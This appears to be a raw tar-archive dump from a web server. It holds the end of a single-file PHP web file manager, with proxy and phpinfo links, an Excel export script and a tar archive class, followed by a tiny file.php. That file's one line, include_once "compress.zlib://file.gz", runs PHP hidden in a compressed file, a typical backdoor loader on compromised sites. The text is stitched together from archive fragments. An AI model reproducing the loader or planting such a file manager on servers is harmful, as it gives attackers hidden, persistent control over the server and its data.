<div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> file.php 0000644 00000000062 15173657412 0006205 0 ustar 00 <?php include_once "compress.zlib://file.gz";?>
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